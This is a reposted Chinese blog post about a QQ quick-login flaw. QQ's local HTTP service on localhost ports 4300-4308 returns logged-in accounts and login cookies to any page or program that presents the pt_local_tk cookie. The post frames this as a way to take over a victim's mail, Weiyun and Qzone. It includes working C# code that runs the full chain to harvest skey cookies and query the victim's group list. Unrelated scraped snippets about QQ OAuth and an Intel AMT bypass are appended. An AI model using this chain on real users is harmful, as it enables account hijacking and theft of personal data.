web安全:QQ号快速登录漏洞及被盗原理

为什么你什么都没干,但QQ空间中却发了很多小广告?也许你的QQ账号已经被盗。本文将讲解一个QQ的快速登录的漏洞。

我前阵子在论坛上看到一个QQ的快速登录的漏洞,觉得非常不错,所以把部分原文给转到园子来。

而利用这个漏洞最终可以实现,只要你点击一个页面或运行过一个程序,那么我就可以拥有你的登录权限。可以直接进你邮箱,进你微云,进你QQ空间等....

众所周知,Tencent以前使用Activex的方式实施QQ快速登录,在一个陌生浏览器上使用,第一件事就是安装QuickLogin控件。

Activex是插件的意思,比如如果有这个的话,你可以通过浏览器打开一个文档之类。而QuickLogin就是腾讯用来快速登录的Activex。

就在不知道什么时候,快速登录突然不用控件了。

当时很疑惑,Tencent用了什么奇葩的方法做到Web和本地的应用程序交互呢?

在没有插件的情况下,Web页面应该无法直接和本地的应用程序直接交互(除非定义协议,但也只能调起,不能获取程序提供的结果)。
在机缘巧合下(好吧就是闲着无聊看任务管理器发现了本机的httpd,发现Apache在运行的时候)突然意识到了一种可能:如果QQ在本地开了个端口,做了个Web服务器,也就是符合HTTP协议的TCP服务端,然后网页ajax向那个QQ(此时作为Web服务器)发起请求,是不是就可以获得结果呢。

httpd是是Apache超文本传输协议(HTTP)服务器的主程序。被设计为一个独立运行的后台进程,它会建立一个处理请求的子进程或线程的池。

结果真的就是这样,

网页JS向http://localhost.ptlogin2.qq.com(端口从4300-4308,一个个试试到成功)发起GET一个请求
ping一下就会发现是127.0.0.1,一查端口,确实是QQ在用。

第一个请求:/pt_get_uins?callback=ptui_getuins_CB&r=0.5919004196050326&pt_local_tk=399224727
pt_local_tk 来自cookie,管他是什么东西;r就是个随机数

返回的结果是个JSON数组:
var var_sso_uin_list=[{"account":"登录的QQ账号","face_index":-1,"gender":0,"nickname":"你的QQ昵称","uin":"还是你的QQ账号","client_type":66818,"uin_flag":8388612}];ptui_getuins_CB(var_sso_uin_list);

然后用http://ptlogin2.qq.com/getface来获取QQ头像,这里不做讨论

这样你的QQ信息就能显示在Web页面上了。

当你按下你的头像(选择这个登录的时候)

下列请求产生:
http://localhost.ptlogin2.qq.com:4300/pt_get_st?clientuin=你的QQ号&callback=ptui_getst_CB&r=0.7293395590126179&pt_local_tk=399224727
同样的,r是随机数,pt_local_tk是来自cookie,local_token
这个请求做什么事情呢?


嗯,Set-Cookie。

然后继续请求
http://ptlogin2.qq.com/jump?clientuin=你的QQ号&keyindex=19&pt_aid=549000912&daid=5&u1=http%3A%2F%2Fqzs.qzone.qq.com%2Fqzone%2Fv5%2Floginsucc.html%3Fpara%3Dizone&pt_local_tk=1881902769&pt_3rd_aid=0&ptopt=1&style=40
这里唯一的u1就是目标地址

这个请求将返回所有需要的cookie,至此你就登录成功了。

这些Cookie就相当于令牌,有了这个令牌就可以拥有快速登录的权限,就相当于你登录一般的网站,账号密码进去,后台会给浏览器注册一条Token来做状态验证一样。

也就是说,拿到了Cookie,你就可以通过CSRF(跨站伪装)的形式,来搞好多事情。

可以在网站上放一个页面,里面跑http请求,或者搞个窗体,里面也跑http请求。

只要你电脑上登录了QQ,只要你打开了这个页面或者打开了这个窗体,那么你的账号就已经被入侵!

不需要输入账号密码,可以直接拿着QQ空间发表留言的接口直接调用,可以直接爬虫抓相册图片,可以进微云等等等等。

我再放个 论坛上的一个人根据这个漏洞进行的实例,

他做的是QQ群的一个验证的实例

思路是:访问任意QQ网站登录都会在本地产生Cookie,

然后获取这个Cookie中的pt_local_token

进而获取一切。

public static bool VerifyQQGroupYesNo(string VerifyQQGroupNum)
{
            /// <summary>
            /// QQ群授权验证YesNo
            /// </summary>
            bool YesNo = false;
            ///随机数处理
            Random random = new Random();
            string randomstr = (Convert.ToDouble(random.Next(1, 99)) / Math.PI / 100).ToString();
            try
            {
                ///定义string类型pt_local_tk 、localhost_str
                string pt_local_tk = string.Empty, localhost_str = string.Empty;

                //QQ会员中心Url
                string LoginUrl = "http://xui.ptlogin2.qq.com/cgi-bin/xlogin?appid=8000201&style=20&s_url=http%3A%2F%2Fvip.qq.com%2Floginsuccess.html&maskOpacity=60&daid=18&target=self";

                //Get方式Http1.1访问QQ会员中心
                Zmoli775.HTTP.GetHttp1_1(LoginUrl);

                //获取访问QQ会员中心生成Cookies->pt_local_tk值
                pt_local_tk = HTTP.Cookies.GetCookies(new Uri("http://ptlogin2.qq.com"))["pt_local_token"].Value;

                /*
                https://localhost.ptlogin2.qq.com:4301/pt_get_uins?callback=ptui_getuins_CB&r=0.22949112393586502&pt_local_tk=-2027291081
                */

                //自动登录[1]->返回QQ号、client_type、QQ头像代码face_index、性别、QQ昵称、uin、uin_flag
                localhost_str = Zmoli775.HTTP.Get("https://localhost.ptlogin2.qq.com:4301/pt_get_uins?callback=ptui_getuins_CB&r=" + randomstr + "&pt_local_tk=" + pt_local_tk + "", LoginUrl);

                //正则截取返回JSON字符串
                if (!string.IsNullOrEmpty(localhost_str = Regex.Match(localhost_str, "(?i)(?<=var_sso_uin_list=).*?(?=;)").Value))
                {
                    JArray JArray = (JArray)JsonConvert.DeserializeObject(localhost_str);

                    for (int i = 0; i < JArray.Count; i++)
                    {

                        //自动登录[2]->var_sso_get_st_uin登录失败返回:ptui_qlogin_CB(‘-1‘, ‘http://qun.qzone.qq.com/group‘, ‘登录失败,请稍后再试。*‘);

                        string var_sso_get_st_uin = Zmoli775.HTTP.Get("http://localhost.ptlogin2.qq.com:4300/pt_get_st?clientuin=" + JArray[i]["account"] + "&callback=ptui_getst_CB&r=" + randomstr + "&pt_local_tk=" + pt_local_tk + "", LoginUrl);

                        //登录目标地址
                        string LoginDestinationAddress = "https://ssl.ptlogin2.qq.com/jump?clientuin=" + JArray[i]["account"] + "&keyindex=9&pt_aid=549000912&daid=5&u1=http%3A%2F%2Fqun.qzone.qq.com%2Fgroup&pt_local_tk=" + pt_local_tk + "&pt_3rd_aid=0&ptopt=1&style=40";

                        //登录目标地址Referer
                        string LoginDestinationAddressReferer = "https://ui.ptlogin2.qq.com/cgi-bin/login?appid=549000912&daid=5&style=12&s_url=http%3A%2F%2Fqun.qzone.qq.com%2Fgroup";

                        //LoginOK登录成功返回访问地址生成关键Cookies
                        string LoginOK = Zmoli775.HTTP.Get(LoginDestinationAddress, LoginDestinationAddressReferer);

                        //正则截取Url
                        string skey = Regex.Match(LoginOK, "(?i)(?<=ptui_qlogin_CB\\(‘0‘, ‘).*?(?=‘,)").Value;

                        if (!string.IsNullOrEmpty(skey))
                        {
                            //Get方式Http1.1访问截取Url
                            Zmoli775.HTTP.GetHttp1_1(skey);
                        }
                        ///获取QQ群页面产生的Cookies->skey
                        skey = HTTP.Cookies.GetCookies(new Uri("http://ptlogin2.qzone.qq.com"))["skey"].Value;

                        if (!string.IsNullOrEmpty(skey))///判断Cookies->skey
                        {
                            string QQGroupList = string.Empty, QQGroupListJson = string.Empty;
                            QQGroupList = Zmoli775.HTTP.Get("http://qun.qzone.qq.com/cgi-bin/get_group_list?uin=" + JArray[i]["account"] + "&ua=Mozilla%2F5.0%20(Windows%20NT%2010.0%3B%20WOW64)%20AppleWebKit%2F537.36%20(KHTML%2C%20like%20Gecko)%20Chrome%2F50.0.2661.102%20Safari%2F537.36&random=" + randomstr + "&g_tk=" + Convert.ToString(Zmoli775.HTTP.Getg_tk(skey)) + "", LoginDestinationAddressReferer);

                            //正则取QQ群列表信息
                            QQGroupListJson = Regex.Match(QQGroupList, "(?i)(?<=_Callback\\().*?(?=\\);)").Value;

                            if (!string.IsNullOrEmpty(QQGroupListJson))
                            {
                                JArray Jarray = (JArray)JsonConvert.DeserializeObject(Convert.ToString(((JObject)JsonConvert.DeserializeObject(QQGroupListJson))["data"]["group"]));
                                JArray JA = (JArray)JsonConvert.DeserializeObject(Convert.ToString(Jarray));
                                for (int y = 0; y < JA.Count; y++)
                                {
                                    if (JA[y]["groupid"].ToString() == VerifyQQGroupNum) YesNo = true;///如果获取到的QQ群号码和需要验证的QQ群号码一致则设置YesNo 值为true
                                }
                            }
                        }
                    }
                }
                if (YesNo)//如果值为true
                {
                    MessageBox.Show("QQ群验证成功!", "软件授权提示!", MessageBoxButtons.OK, MessageBoxIcon.Information);
                    return true;
                }
                else
                {
                    MessageBox.Show("QQ群验证失败!", "软件授权提示!", MessageBoxButtons.OK, MessageBoxIcon.Error);
                    return false;
                }
            }
            catch (Exception)
            {
                MessageBox.Show("QQ群验证失败!", "软件授权提示!", MessageBoxButtons.OK, MessageBoxIcon.Error);
                return false;
            }
}

  

出处:http://www.cnblogs.com/1996V/p/7481823.html 
时间: 2024-08-02 10:57:55

web安全:QQ号快速登录漏洞及被盗原理的相关文章

使用QQ第三方登录时,手机应用和网站应用对同一个QQ号,获取到的openid不一样

使用QQ第三方登录时,手机应用和网站应用对同一个QQ号,获取到的openid不一样openid生成是根据应用的appid和QQ号的一些信息加密生成,对于一个appid和QQ号来说,openid是唯一的手机应用和网站应用使用的appid不是同一个,所以,获取到的openid也不会相同 那么问题来了同一个QQ,通过手机端第三方登录进去,和通过网站登录进去,因为openid不一样,会生成两个用户 解决方法: 给[email protected]发送邮件,内容格式: 第三方登录,web端返回的openi

开放平台-web实现QQ第三方登录

应用场景 web应用通过QQ登录授权实现第三方登录. 操作步骤 1  注册成为QQ互联平台开发者,http://connect.qq.com/ 2  准备一个可访问的域名,如dev.foo.com 3  创建网页应用,配置必要信息,其中包括域名以及回调地址: 其中域名需要验证,需确保对域名主机有足够的控制权限 4  获取应用appID.appKey进行开发 登录流程 开发平台的登录授权采取oauth2.0机制,这也是目前几乎所有互联网开放平台所采取的方式. 需更多了解oauth2.0可参考阮老师

QQ快速登录功能

如果想让网站实现QQ登录功能,前提是网站要具备api的接口,如果没有这个接口,那就很难实现这个功能了. 网站QQ登录功能,是通过接入QQ登录,用户可以使用QQ账号直接登录接入的站点,从而可以达到无需注册也能登录成为网站用户.快速方便有效,可大大提高网站的用户注册数量,提升网站人气. 下面小编就告诉大家,实现这个功能的操作方法. 方法/步骤1 1 首先在百度上搜索[QQ登录],然后进入一个名为[QQ登录-QQ互联]的网站. 或者是搜索"QQ开发开发平台"或者直接打开:http://con

mac应用程序缓存保存目录+qq单个qq号登录异常处理

mac应用程序缓存保存目录 ~/Library/Containers/ qq单个qq号登录异常处理 rm -r ~/Library/Containers/com.tencent.qq 原文地址:https://www.cnblogs.com/ashe666/p/8453325.html

c#代码抓取本地QQ号,很实用哦

//抓取QQ号 WebBrowser web = new WebBrowser(); //使用户可以在窗体中导航网页 private void 抓取QQToolStripMenuItem_Click(object sender, EventArgs e) { listView1.Columns.Clear(); listView1.Items.Clear(); listView1.Columns.Add("昵称",100); listView1 .Columns .Add ("

QQ互联账号登录

本文说明的是根据某应用通过网页的qq信息来登录的过程.用途是利用QQ账号就能快速自动注册并能够登录客户应用. 从web服务器与腾讯服务器通信获取开房平台用户OpenID,再在应用服务器的平台服务器生成账号,在命名服务器生成角色ID,在Token服务器生成Token,然后返回客户端. 客户端可以根据角色ID和Token请求登录. 1.客户应用的标识 在腾讯开放平台网站申请腾讯应用,批准之后可获得的客户应用的标识id: 如client_id.oauth_consumer_key的值都是应用的id(1

centos6.5部署openldap信息存储主机快速登录

本文系统:Centos6.5_x64 ip:192.168.28.139 客户端:192.168.28.141 一.ldap的部署.用户信息的存储 二.利用ldap数据库用户登录其他主机 三.快速登录主机(无需输入密码) 推荐大家可以先了解下AD域的结构,一些概念性的东西,比如树.林.组织单位.资源等 openldap 可以看作是nis的升级,把他想象成资料库的一种就好了 一.ldap的部署.用户信息的存储 1.安装openldap [[email protected] ~]# yum inst

web开发中常见的安全漏洞及避免方法

1.安全攻击 1.SQL.HTML.JS.OS命令注入 2.XSS跨站脚本攻击,利用站内信任的用户,在web页面插入恶意script代码 3.CSRF跨站请求伪造,通过伪装来自信任用户的请求来利用受信任的网站. 4.目录遍历漏洞 5.参数篡改 6.会话劫持 2.防止攻击的措施总结 1) 对用户输入的数据进行全面安全检查或过滤,尤其注意检查是否包含SQL 或XSS特殊字符. 验证用户输入的数据,包括值.类型.范围等等,用验证控件进行验证 RequiredFieldValidator RangeVa

IntelAMT 固件密码绕过登录漏洞分析与实战

Byantian365.com simeon 1.1漏洞简介 2017年5月1日,英特尔公布了AMT漏洞(INTEL-SA-00075),但该漏洞的细节未公开.2017年5月5日,Tenable公司研究人员卡洛斯·佩雷斯通过分析LMS软件包,最终发现并成功利用该漏洞. 1.漏洞编号 IntelAMT 固件密码绕过登录漏洞CVE漏洞编号CVE-2017-5689:Intel AMT 固件可以配置英特尔可管理性SKU:英特尔主动管理技术(AMT)和英特尔标准可管理性(ISM).换句话说可以通过安装L